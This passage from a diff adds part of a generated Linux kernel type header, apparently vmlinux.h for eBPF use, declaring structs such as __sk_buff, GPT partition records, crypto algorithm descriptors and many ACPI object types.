_sigfault; + struct { + long _band; + int _fd; + } _sigpoll; + struct { + void __attribute__((btf_type_tag("user"))) *_call_addr; + int _syscall; + unsigned int _arch; + } _sigsys; +}; + +struct bpf_flow_keys; + +struct bpf_sock; + +struct __sk_buff { + __u32 len; + __u32 pkt_type; + __u32 mark; + __u32 queue_mapping; + __u32 protocol; + __u32 vlan_present; + __u32 vlan_tci; + __u32 vlan_proto; + __u32 priority; + __u32 ingress_ifindex; + __u32 ifindex; + __u32 tc_index; + __u32 cb[5]; + __u32 hash; + __u32 tc_classid; + __u32 data; + __u32 data_end; + __u32 napi_id; + __u32 family; + __u32 remote_ip4; + __u32 local_ip4; + __u32 remote_ip6[4]; + __u32 local_ip6[4]; + __u32 remote_port; + __u32 local_port; + __u32 data_meta; + union { + struct bpf_flow_keys *flow_keys; + }; + __u64 tstamp; + __u32 wire_len; + __u32 gso_segs; + union { + struct bpf_sock *sk; + }; + __u32 gso_size; + __u8 tstamp_type; + __u64 hwtstamp; +}; + +struct __track_dentry_update_args { + struct dentry *dentry; + int op; +}; + +struct __track_range_args { + ext4_lblk_t start; + ext4_lblk_t end; +}; + +union __u128_halves { + u128 full; + struct { + u64 low; + u64 high; + }; +}; + +struct __una_u32 { + u32 x; +}; + +struct inode; + +struct __uprobe_key { + struct inode *inode; + loff_t offset; +}; + +struct __user_cap_data_struct { + __u32 effective; + __u32 permitted; + __u32 inheritable; +}; + +typedef struct __user_cap_data_struct __attribute__((btf_type_tag("user"))) *cap_user_data_t; + +struct __user_cap_header_struct { + __u32 version; + int pid; +}; + +typedef struct __user_cap_header_struct *cap_user_header_t; + +struct __va_list_tag { + unsigned int gp_offset; + unsigned int fp_offset; + void *overflow_arg_area; + void *reg_save_area; +}; + +typedef __builtin_va_list va_list; + +struct net_device; + +struct _bpf_dtab_netdev { + struct net_device *dev; +}; + +struct _cache_table { + unsigned char descriptor; + char cache_type; + short size; +}; + +union _cpuid4_leaf_eax { + struct { + enum _cache_type type: 5; + unsigned int level: 3; + unsigned int is_self_initializing: 1; + unsigned int is_fully_associative: 1; + unsigned int reserved: 4; + unsigned int num_threads_sharing: 12; + unsigned int num_cores_on_die: 6; + } split; + u32 full; +}; + +union _cpuid4_leaf_ebx { + struct { + unsigned int coherency_line_size: 12; + unsigned int physical_line_partition: 10; + unsigned int ways_of_associativity: 10; + } split; + u32 full; +}; + +union _cpuid4_leaf_ecx { + struct { + unsigned int number_of_sets: 32; + } split; + u32 full; +}; + +struct amd_northbridge; + +struct _cpuid4_info_regs { + union _cpuid4_leaf_eax eax; + union _cpuid4_leaf_ebx ebx; + union _cpuid4_leaf_ecx ecx; + unsigned int id; + unsigned long size; + struct amd_northbridge *nb; +}; + +struct jump_entry; + +struct static_key_mod; + +struct static_key { + atomic_t enabled; + union { + unsigned long type; + struct jump_entry *entries; + struct static_key_mod *next; + }; +}; + +struct static_key_true { + struct static_key key; +}; + +struct static_key_false { + struct static_key key; +}; + +struct _ddebug { + const char *modname; + const char *function; + const char *filename; + const char *format; + unsigned int lineno: 18; + unsigned int class_id: 6; + unsigned int flags: 8; + union { + struct static_key_true dd_key_true; + struct static_key_false dd_key_false; + } key; +}; + +struct ddebug_class_map; + +struct _ddebug_info { + struct _ddebug *descs; + struct ddebug_class_map *classes; + unsigned int num_descs; + unsigned int num_classes; +}; + +struct _flow_keys_digest_data { + __be16 n_proto; + u8 ip_proto; + u8 padding; + __be32 ports; + __be32 src; + __be32 dst; +}; + +struct _fpx_sw_bytes { + __u32 magic1; + __u32 extended_size; + __u64 xfeatures; + __u32 xstate_size; + __u32 padding[7]; +}; + +struct _gpt_entry_attributes { + u64 required_to_function: 1; + u64 reserved: 47; + u64 type_guid_specific: 16; +}; + +typedef struct _gpt_entry_attributes gpt_entry_attributes; + +struct _gpt_entry { + efi_guid_t partition_type_guid; + efi_guid_t unique_partition_guid; + __le64 starting_lba; + __le64 ending_lba; + gpt_entry_attributes attributes; + __le16 partition_name[36]; +}; + +typedef struct _gpt_entry gpt_entry; + +struct _gpt_header { + __le64 signature; + __le32 revision; + __le32 header_size; + __le32 header_crc32; + __le32 reserved1; + __le64 my_lba; + __le64 alternate_lba; + __le64 first_usable_lba; + __le64 last_usable_lba; + efi_guid_t disk_guid; + __le64 partition_entry_lba; + __le32 num_partition_entries; + __le32 sizeof_partition_entry; + __le32 partition_entry_array_crc32; +} __attribute__((packed)); + +typedef struct _gpt_header gpt_header; + +struct _gpt_mbr_record { + u8 boot_indicator; + u8 start_head; + u8 start_sector; + u8 start_track; + u8 os_type; + u8 end_head; + u8 end_sector; + u8 end_track; + __le32 starting_lba; + __le32 size_in_lba; +}; + +typedef struct _gpt_mbr_record gpt_mbr_record; + +struct kvm_stats_desc { + __u32 flags; + __s16 exponent; + __u16 size; + __u32 offset; + __u32 bucket_size; + char name[0]; +}; + +struct _kvm_stats_desc { + struct kvm_stats_desc desc; + char name[48]; +}; + +struct _legacy_mbr { + u8 boot_code[440]; + __le32 unique_mbr_signature; + __le16 unknown; + gpt_mbr_record partition_record[4]; + __le16 signature; +} __attribute__((packed)); + +typedef struct _legacy_mbr legacy_mbr; + +struct timer_list { + struct hlist_node entry; + unsigned long expires; + void (*function)(struct timer_list *); + u32 flags; + struct lockdep_map lockdep_map; +}; + +struct delayed_work { + struct work_struct work; + struct timer_list timer; + struct workqueue_struct *wq; + int cpu; +}; + +struct _thermal_state { + u64 next_check; + u64 last_interrupt_time; + struct delayed_work therm_work; + unsigned long count; + unsigned long last_count; + unsigned long max_time_ms; + unsigned long total_time_ms; + bool rate_control_active; + bool new_event; + u8 level; + u8 sample_index; + u8 sample_count; + u8 average; + u8 baseline_temp; + u8 temp_samples[3]; +}; + +struct _tlb_table { + unsigned char descriptor; + char tlb_type; + unsigned int entries; + char info[128]; +}; + +struct seq_net_private { + struct net *net; + netns_tracker ns_tracker; +}; + +struct ac6_iter_state { + struct seq_net_private p; + struct net_device *dev; +}; + +struct access_coordinate { + unsigned int read_bandwidth; + unsigned int write_bandwidth; + unsigned int read_latency; + unsigned int write_latency; +}; + +struct acct { + char ac_flag; + char ac_version; + __u16 ac_uid16; + __u16 ac_gid16; + __u16 ac_tty; + __u32 ac_btime; + comp_t ac_utime; + comp_t ac_stime; + comp_t ac_etime; + comp_t ac_mem; + comp_t ac_io; + comp_t ac_rw; + comp_t ac_minflt; + comp_t ac_majflt; + comp_t ac_swaps; + __u16 ac_ahz; + __u32 ac_exitcode; + char ac_comm[17]; + __u8 ac_etime_hi; + __u16 ac_etime_lo; + __u32 ac_uid; + __u32 ac_gid; +}; + +typedef struct acct acct_t; + +struct ack_sample { + u32 pkts_acked; + s32 rtt_us; + u32 in_flight; +}; + +struct crypto_tfm; + +struct cipher_alg { + unsigned int cia_min_keysize; + unsigned int cia_max_keysize; + int (*cia_setkey)(struct crypto_tfm *, const u8 *, unsigned int); + void (*cia_encrypt)(struct crypto_tfm *, u8 *, const u8 *); + void (*cia_decrypt)(struct crypto_tfm *, u8 *, const u8 *); +}; + +struct compress_alg { + int (*coa_compress)(struct crypto_tfm *, const u8 *, unsigned int, u8 *, unsigned int *); + int (*coa_decompress)(struct crypto_tfm *, const u8 *, unsigned int, u8 *, unsigned int *); +}; + +struct crypto_type; + +struct crypto_alg { + struct list_head cra_list; + struct list_head cra_users; + u32 cra_flags; + unsigned int cra_blocksize; + unsigned int cra_ctxsize; + unsigned int cra_alignmask; + int cra_priority; + refcount_t cra_refcnt; + char cra_name[128]; + char cra_driver_name[128]; + const struct crypto_type *cra_type; + union { + struct cipher_alg cipher; + struct compress_alg compress; + } cra_u; + int (*cra_init)(struct crypto_tfm *); + void (*cra_exit)(struct crypto_tfm *); + void (*cra_destroy)(struct crypto_alg *); + struct module *cra_module; +}; + +struct comp_alg_common { + struct crypto_alg base; +}; + +struct acomp_req; + +struct scatterlist; + +struct crypto_acomp; + +struct acomp_alg { + int (*compress)(struct acomp_req *); + int (*decompress)(struct acomp_req *); + void (*dst_free)(struct scatterlist *); + int (*init)(struct crypto_acomp *); + void (*exit)(struct crypto_acomp *); + unsigned int reqsize; + union { + struct { + struct crypto_alg base; + }; + struct comp_alg_common calg; + }; +}; + +typedef void (*crypto_completion_t)(void *, int); + +struct crypto_async_request { + struct list_head list; + crypto_completion_t complete; + void *data; + struct crypto_tfm *tfm; + u32 flags; +}; + +struct acomp_req { + struct crypto_async_request base; + struct scatterlist *src; + struct scatterlist *dst; + unsigned int slen; + unsigned int dlen; + u32 flags; + void *__ctx[0]; +}; + +struct acpi_address16_attribute { + u16 granularity; + u16 minimum; + u16 maximum; + u16 translation_offset; + u16 address_length; +}; + +struct acpi_address32_attribute { + u32 granularity; + u32 minimum; + u32 maximum; + u32 translation_offset; + u32 address_length; +}; + +struct acpi_address64_attribute { + u64 granularity; + u64 minimum; + u64 maximum; + u64 translation_offset; + u64 address_length; +}; + +struct acpi_namespace_node; + +struct acpi_address_range { + struct acpi_address_range *next; + struct acpi_namespace_node *region_node; + acpi_physical_address start_address; + acpi_physical_address end_address; +}; + +struct acpi_bit_register_info { + u8 parent_register; + u8 bit_position; + u16 access_bit_mask; +}; + +struct acpi_buffer { + acpi_size length; + void *pointer; +}; + +struct acpi_bus_event { + struct list_head node; + acpi_device_class device_class; + acpi_bus_id bus_id; + u32 type; + u32 data; +}; + +struct acpi_device; + +struct acpi_bus_type { + struct list_head list; + const char *name; + bool (*match)(struct device *); + struct acpi_device * (*find_companion)(struct device *); + void (*setup)(struct device *); +}; + +struct input_dev; + +struct acpi_button { + unsigned int type; + struct input_dev *input; + char phys[32]; + unsigned long pushed; + int last_state; + ktime_t last_time; + bool suspended; + bool lid_state_initialized; +}; + +struct acpi_cdat_header { + u8 type; + u8 reserved; + u16 length; +}; + +struct acpi_cedt_header { + u8 type; + u8 reserved; + u16 length; +}; + +struct acpi_cedt_cfmws { + struct acpi_cedt_header header; + u32 reserved1; + u64 base_hpa; + u64 window_size; + u8 interleave_ways; + u8 interleave_arithmetic; + u16 reserved2; + u32 granularity; + u16 restrictions; + u16 qtg_id; + u32 interleave_targets[0]; +} __attribute__((packed)); + +struct acpi_comment_node { + char *comment; + struct acpi_comment_node *next; +}; + +struct acpi_common_descriptor { + void *common_pointer; + u8 descriptor_type; +}; + +struct acpi_common_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; +}; + +struct acpi_connection_info { + u8 *connection; + u16 length; + u8 access_length; +}; + +union acpi_parse_object; + +struct acpi_control_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u16 opcode; + union acpi_parse_object *predicate_op; + u8 *aml_predicate_start; + u8 *package_end; + u64 loop_timeout; +}; + +typedef struct cpumask *cpumask_var_t; + +struct acpi_pct_register; + +struct acpi_cpufreq_data { + unsigned int resume; + unsigned int cpu_feature; + unsigned int acpi_perf_cpu; + cpumask_var_t freqdomain_cpus; + void (*cpu_freq_write)(struct acpi_pct_register *, u32); + u32 (*cpu_freq_read)(struct acpi_pct_register *); +}; + +struct acpi_create_field_info { + struct acpi_namespace_node *region_node; + struct acpi_namespace_node *field_node; + struct acpi_namespace_node *register_node; + struct acpi_namespace_node *data_register_node; + struct acpi_namespace_node *connection_node; + u8 *resource_buffer; + u32 bank_value; + u32 field_bit_position; + u32 field_bit_length; + u16 resource_length; + u16 pin_number_index; + u8 field_flags; + u8 attribute; + u8 field_type; + u8 access_length; +}; + +struct attribute { + const char *name; + umode_t mode; + bool ignore_lockdep: 1; + struct lock_class_key *key; + struct lock_class_key skey; +}; + +struct address_space; + +struct vm_area_struct; + +struct bin_attribute { + struct attribute attr; + size_t size; + void *private; + struct address_space * (*f_mapping)(void); + ssize_t (*read)(struct file *, struct kobject *, struct bin_attribute *, char *, loff_t, size_t); + ssize_t (*write)(struct file *, struct kobject *, struct bin_attribute *, char *, loff_t, size_t); + loff_t (*llseek)(struct file *, struct kobject *, struct bin_attribute *, loff_t, int); + int (*mmap)(struct file *, struct kobject *, struct bin_attribute *, struct vm_area_struct *); +}; + +struct acpi_data_attr { + struct bin_attribute attr; + u64 addr; +}; + +typedef void *acpi_handle; + +struct fwnode_operations; + +struct fwnode_handle { + struct fwnode_handle *secondary; + const struct fwnode_operations *ops; + struct device *dev; + struct list_head suppliers; + struct list_head consumers; + u8 flags; +}; + +union acpi_object; + +struct acpi_device_data { + const union acpi_object *pointer; + struct list_head properties; + const union acpi_object *of_compatible; + struct list_head subnodes; +}; + +struct acpi_data_node { + struct list_head sibling; + const char *name; + acpi_handle handle; + struct fwnode_handle fwnode; + struct fwnode_handle *parent; + struct acpi_device_data data; + struct kobject kobj; + struct completion kobj_done; +}; + +struct acpi_data_node_attr { + struct attribute attr; + ssize_t (*show)(struct acpi_data_node *, char *); + ssize_t (*store)(struct acpi_data_node *, const char *, size_t); +}; + +struct acpi_data_obj { + char *name; + int (*fn)(void *, struct acpi_data_attr *); +}; + +struct acpi_data_table_mapping { + void *pointer; +}; + +struct acpi_dep_data { + struct list_head node; + acpi_handle supplier; + acpi_handle consumer; + bool honor_dep; + bool met; + bool free_when_met; +}; + +union acpi_operand_object; + +struct acpi_object_common { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; +}; + +struct acpi_object_integer { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 fill[3]; + u64 value; +}; + +struct acpi_object_string { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + char *pointer; + u32 length; +}; + +struct acpi_object_buffer { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 *pointer; + u32 length; + u32 aml_length; + u8 *aml_start; + struct acpi_namespace_node *node; +}; + +struct acpi_object_package { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + struct acpi_namespace_node *node; + union acpi_operand_object **elements; + u8 *aml_start; + u32 aml_length; + u32 count; +}; + +struct acpi_object_event { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + void *os_semaphore; +}; + +struct acpi_walk_state; + +typedef acpi_status (*acpi_internal_method)(struct acpi_walk_state *); + +struct acpi_object_method { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 info_flags; + u8 param_count; + u8 sync_level; + union acpi_operand_object *mutex; + union acpi_operand_object *node; + u8 *aml_start; + union { + acpi_internal_method implementation; + union acpi_operand_object *handler; + } dispatch; + u32 aml_length; + acpi_owner_id owner_id; + u8 thread_count; +}; + +struct acpi_thread_state; + +struct acpi_object_mutex { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 sync_level; + u16 acquisition_depth; + void *os_mutex; + u64 thread_id; + struct acpi_thread_state *owner_thread; + union acpi_operand_object *prev; + union acpi_operand_object *next; + struct acpi_namespace_node *node; + u8 original_sync_level; +}; + +struct acpi_object_region { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 space_id; + struct acpi_namespace_node *node; + union acpi_operand_object *handler; + union acpi_operand_object *next; + acpi_physical_address address; + u32 length; + void *pointer; +}; + +struct acpi_object_notify_common { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; +}; + +struct acpi_gpe_block_info; + +struct acpi_object_device { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; + struct acpi_gpe_block_info *gpe_block; +}; + +struct acpi_object_power_resource { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; + u32 system_level; + u32 resource_order; +}; + +struct acpi_object_processor { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 proc_id; + u8 length; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; + acpi_io_address address; +}; + +struct acpi_object_thermal_zone { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *notify_list[2]; + union acpi_operand_object *handler; +}; + +struct acpi_object_field_common { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + union acpi_operand_object *region_obj; +}; + +struct acpi_object_region_field { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + u16 resource_length; + union acpi_operand_object *region_obj; + u8 *resource_buffer; + u16 pin_number_index; + u8 *internal_pcc_buffer; +}; + +struct acpi_object_buffer_field { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + u8 is_create_field; + union acpi_operand_object *buffer_obj; +}; + +struct acpi_object_bank_field { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + union acpi_operand_object *region_obj; + union acpi_operand_object *bank_obj; +}; + +struct acpi_object_index_field { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 field_flags; + u8 attribute; + u8 access_byte_width; + struct acpi_namespace_node *node; + u32 bit_length; + u32 base_byte_offset; + u32 value; + u8 start_field_bit_offset; + u8 access_length; + union acpi_operand_object *index_obj; + union acpi_operand_object *data_obj; +}; + +typedef void (*acpi_notify_handler)(acpi_handle, u32, void *); + +struct acpi_object_notify_handler { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + struct acpi_namespace_node *node; + u32 handler_type; + acpi_notify_handler handler; + void *context; + union acpi_operand_object *next[2]; +}; + +typedef acpi_status (*acpi_adr_space_handler)(u32, acpi_physical_address, u32, u64 *, void *, void *); + +typedef acpi_status (*acpi_adr_space_setup)(acpi_handle, u32, void *, void **); + +struct acpi_object_addr_handler { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 space_id; + u8 handler_flags; + acpi_adr_space_handler handler; + struct acpi_namespace_node *node; + void *context; + void *context_mutex; + acpi_adr_space_setup setup; + union acpi_operand_object *region_list; + union acpi_operand_object *next; +}; + +struct acpi_object_reference { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + u8 class; + u8 target_type; + u8 resolved; + void *object; + struct acpi_namespace_node *node; + union acpi_operand_object **where; + u8 *index_pointer; + u8 *aml; + u32 value; +}; + +struct acpi_object_extra { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + struct acpi_namespace_node *method_REG; + struct acpi_namespace_node *scope_node; + void *region_context; + u8 *aml_start; + u32 aml_length; +}; + +typedef void (*acpi_object_handler)(acpi_handle, void *); + +struct acpi_object_data { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + acpi_object_handler handler; + void *pointer; +}; + +struct acpi_object_cache_list { + union acpi_operand_object *next_object; + u8 descriptor_type; + u8 type; + u16 reference_count; + u8 flags; + union acpi_operand_object *next; +}; + +union acpi_name_union { + u32 integer; + char ascii[4]; +}; + +struct acpi_namespace_node { + union acpi_operand_object *object; + u8 descriptor_type; + u8 type; + u16 flags; + union acpi_name_union name; + struct acpi_namespace_node *parent; + struct acpi_namespace_node *child; + struct acpi_namespace_node *peer; + acpi_owner_id owner_id; +}; + +union acpi_operand_object { + struct acpi_object_common common; + struct acpi_object_integer integer; + struct acpi_object_string string; + struct acpi_object_buffer buffer; + struct acpi_object_package package; + struct acpi_object_event event; + struct acpi_object_method method; + struct acpi_object_mutex mutex; + struct acpi_object_region region; + struct acpi_object_notify_common common_notify; + struct acpi_object_device device; + struct acpi_object_power_resource power_resource; + struct acpi_object_processor processor; + struct acpi_object_thermal_zone thermal_zone; + struct acpi_object_field_common common_field; + struct acpi_object_region_field field; + struct acpi_object_buffer_field buffer_field; + struct acpi_object_bank_field bank_field; + struct acpi_object_index_field index_field; + struct acpi_object_notify_handler notify; + struct acpi_object_addr_handler address_space; + struct acpi_object_reference reference; + struct acpi_object_extra extra; + struct acpi_object_data data; + struct acpi_object_cache_list cache; + struct acpi_namespace_node node; +}; + +union acpi_parse_value { + u64 integer; + u32 size; + char *string; + u8 *buffer; + char *name; + union acpi_parse_object *arg; +}; + +struct acpi_parse_obj_common { + union acpi_parse_object *parent; + u8 descriptor_type; + u8 flags; + u16 aml_opcode; + u8 *aml; + union acpi_parse_object *next; + struct acpi_namespace_node *node; + union acpi_parse_value value; + u8 arg_list_length; +}; + +struct acpi_parse_obj_named { + union acpi_parse_object *parent; + u8 descriptor_type; + u8 flags; + u16 aml_opcode; + u8 *aml; + union acpi_parse_object *next; + struct acpi_namespace_node *node; + union acpi_parse_value value; + u8 arg_list_length; + char *path; + u8 *data; + u32 length; + u32 name; +}; + +struct acpi_parse_obj_asl { + union acpi_parse_object *parent; + u8 descriptor_type; + u8 flags; + u16 aml_opcode; + u8 *aml; + union acpi_parse_object *next; + struct acpi_namespace_node *node; + union acpi_parse_value value; + u8 arg_list_length; + union acpi_parse_object *child; + union acpi_parse_object *parent_method; + char *filename; + u8 file_changed; + char *parent_filename; + char *external_name; + char *namepath; + char name_seg[4]; + u32 extra_value; + u32 column; + u32 line_number; + u32 logical_line_number; + u32 logical_byte_offset; + u32 end_line; + u32 end_logical_line; + u32 acpi_btype; + u32 aml_length; + u32 aml_subtree_length; + u32 final_aml_length; + u32 final_aml_offset; + u32 compile_flags; + u16 parse_opcode; + u8 aml_opcode_length; + u8 aml_pkg_len_bytes; + u8 extra; + char parse_op_name[20]; +}; + +union acpi_parse_object { + struct acpi_parse_obj_common common; + struct acpi_parse_obj_named named; + struct acpi_parse_obj_asl asl; +}; + +union acpi_descriptor { + struct acpi_common_descriptor common; + union acpi_operand_object object; + struct acpi_namespace_node node; + union acpi_parse_object op; +}; + +struct acpi_device_id { + __u8 id[16]; + kernel_ulong_t driver_data; + __u32 cls; + __u32 cls_msk; +}; + +struct acpi_dev_match_info { + struct acpi_device_id hid[2]; + const char *uid; + s64 hrv; +}; + +struct acpi_dev_walk_context { + int (*fn)(struct acpi_device *, void *); + void *data; +}; + +struct acpi_device_status { + u32 present: 1; + u32 enabled: 1; + u32 show_in_ui: 1; + u32 functional: 1; + u32 battery_present: 1; + u32 reserved: 27; +}; + +struct acpi_device_flags { + u32 dynamic_status: 1; + u32 removable: 1; + u32 ejectable: 1; + u32 power_manageable: 1; + u32 match_driver: 1; + u32 initialized: 1; + u32 visited: 1; + u32 hotplug_notify: 1; + u32 is_dock_station: 1; + u32 of_compatible_ok: 1; + u32 coherent_dma: 1; + u32 cca_seen: 1; + u32 enumeration_by_parent: 1; + u32 honor_deps: 1; + u32 reserved: 18; +}; + +struct acpi_pnp_type { + u32 hardware_id: 1; + u32 bus_address: 1; + u32 platform_id: 1; + u32 backlight: 1; + u32 reserved: 28; +}; + +struct acpi_device_pnp { + acpi_bus_id bus_id; + int instance_no; + struct acpi_pnp_type type; + acpi_bus_address bus_address; + char *unique_id; + struct list_head ids; + acpi_device_name device_name; + acpi_device_class device_class; +}; + +struct acpi_device_power_flags { + u32 explicit_get: 1; + u32 power_resources: 1; + u32 inrush_current: 1; + u32 power_removed: 1; + u32 ignore_parent: 1; + u32 dsw_present: 1; + u32 reserved: 26; +}; + +struct acpi_device_power_state { + struct list_head resources; + struct { + u8 valid: 1; + u8 explicit_set: 1; + u8 reserved: 6; + } flags; + int power; + int latency; +}; + +struct acpi_device_power { + int state; + struct acpi_device_power_flags flags; + struct acpi_device_power_state states[5]; + u8 state_for_enumeration; +}; + +struct acpi_device_wakeup_flags { + u8 valid: 1; + u8 notifier_present: 1; +}; + +struct acpi_device_wakeup_context { + void (*func)(struct acpi_device_wakeup_context *); + struct device *dev; +}; + +struct acpi_device_wakeup { + acpi_handle gpe_device; + u64 gpe_number; + u64 sleep_state; + struct list_head resources; + struct acpi_device_wakeup_flags flags; + struct acpi_device_wakeup_context context; + struct wakeup_source *ws; + int prepare_count; + int enable_count; +}; + +struct acpi_device_perf_flags { + u8 reserved: 8; +}; + +struct acpi_device_perf_state; + +struct acpi_device_perf { + int state; + struct acpi_device_perf_flags flags; + int state_count; + struct acpi_device_perf_state *states; +}; + +struct proc_dir_entry; + +struct acpi_device_dir { + struct proc_dir_entry *entry; +}; + +struct acpi_scan_handler; + +struct acpi_hotplug_context; + +struct acpi_device_software_nodes; + +struct acpi_gpio_mapping; + +struct acpi_device { + u32 pld_crc; + int device_type; + acpi_handle handle; + struct fwnode_handle fwnode; + struct list_head wakeup_list; + struct list_head del_list; + struct acpi_device_status status; + struct acpi_device_flags flags; + struct acpi_device_pnp pnp; + struct acpi_device_power power; + struct acpi_device_wakeup wakeup; + struct acpi_device_perf performance; + struct acpi_device_dir dir; + struct acpi_device_data data; + struct acpi_scan_handler *handler; + struct acpi_hotplug_context *hp; + struct acpi_device_software_nodes *swnodes; + const struct acpi_gpio_mapping *driver_gpios; + void *driver_data; + struct device dev; + unsigned int physical_node_count; + unsigned int dep_unmet; + struct list_head physical_node_list; + struct mutex physical_node_lock; + void (*remove)(struct acpi_device *); +}; + +struct xarray { + spinlock_t xa_lock; + gfp_t xa_flags; + void __attribute__((btf_type_tag("rcu"))) *xa_head; +}; + +struct ida { + struct xarray xa; +}; + +struct acpi_device_bus_id { + const char *bus_id; + struct ida instance_ida; + struct list_head node; +}; + +struct acpi_pnp_device_id { + u32 length; + char *string; +}; + +struct acpi_pnp_device_id_list { + u32 count; + u32 list_size; + struct acpi_pnp_device_id ids[0]; +}; + +struct acpi_device_info { + u32 info_size; + u32 name; + acpi_object_type type; + u8 param_count; + u16 valid; + u8 flags; + u8 highest_dstates[4]; + u8 lowest_dstates[5]; + u64 address; + struct acpi_pnp_device_id hardware_id; + struct acpi_pnp_device_id unique_id; + struct acpi_pnp_device_id class_code; + struct acpi_pnp_device_id_list compatible_id_list; +}; + +typedef int (*acpi_op_add)(struct acpi_device *); + +typedef void (*acpi_op_remove)(struct acpi_device *); + +typedef void (*acpi_op_notify)(struct acpi_device *, u32); + +struct acpi_device_ops { + acpi_op_add add; + acpi_op_remove remove; + acpi_op_notify notify; +}; + +struct acpi_device_perf_state { + struct { + u8 valid: 1; + u8 reserved: 7; + } flags; + u8 power; + u8 performance; + int latency; +}; + +struct acpi_device_physical_node { + struct list_head node; + struct device *dev; + unsigned int node_id; + bool put_online: 1; +}; + +struct acpi_device_properties { + struct list_head list; + const guid_t *guid; + union acpi_object *properties; + void **bufs; +}; + +struct property_entry { + const char *name; + size_t length; + bool is_inline; + enum dev_prop_type type; + union { + const void *pointer; + union { + u8 u8_data[8]; + u16 u16_data[4]; + u32 u32_data[2]; + u64 u64_data[1]; + const char *str[1]; + } value; + }; +}; + +struct software_node; + +struct software_node_ref_args { + const struct software_node *node; + unsigned int nargs; + u64 args[8]; +}; + +struct acpi_device_software_node_port { + char port_name[9]; + u32 data_lanes[8]; + u32 lane_polarities[9]; + u64 link_frequencies[8]; + unsigned int port_nr; + bool crs_csi2_local; + struct property_entry port_props[2]; + struct property_entry ep_props[8]; + struct software_node_ref_args remote_ep[1]; +}; + +struct acpi_device_software_nodes { + struct property_entry dev_props[6]; + struct software_node *nodes; + const struct software_node **nodeptrs; + struct acpi_device_software_node_port *ports; + unsigned int num_ports; +}; + +struct acpi_table_desc; + +struct acpi_evaluate_info; + +struct acpi_device_walk_info { + struct acpi_table_desc *table_desc; + struct acpi_evaluate_info *evaluate_info; + u32 device_count; + u32 num_STA; + u32 num_INI; +}; + +struct of_device_id; + +struct dev_pm_ops; + +struct driver_private; + +struct device_driver { + const char *name; + const struct bus_type *bus; + struct module *owner; + const char *mod_name; + bool suppress_bind_attrs; + enum probe_type probe_type; + const struct of_device_id *of_match_table; + const struct acpi_device_id *acpi_match_table; + int (*probe)(struct device *); + void (*sync_state)(struct device *); + int (*remove)(struct device *); + void (*shutdown)(struct device *); + int (*suspend)(struct device *, pm_message_t); + int (*resume)(struct device *); + const struct attribute_group **groups; + const struct attribute_group **dev_groups; + const struct dev_pm_ops *pm; + void (*coredump)(struct device *); + struct driver_private *p; +}; + +struct acpi_driver { + char name[80]; + char class[80]; + const struct acpi_device_id *ids; + unsigned int flags; + struct acpi_device_ops ops; + struct device_driver drv; +}; + +struct transaction; + +struct acpi_ec { + acpi_handle handle; + int gpe; + int irq; + unsigned long command_addr; + unsigned long data_addr; + bool global_lock; + unsigned long flags; + unsigned long reference_count; + struct mutex mutex; + wait_queue_head_t wait; + struct list_head list; + struct transaction *curr; + spinlock_t lock; + struct work_struct work; + unsigned long timestamp; + enum acpi_ec_event_state event_state; + unsigned int events_to_process; + unsigned int events_in_progress; + unsigned int queries_in_progress; + bool busy_polling; + unsigned int 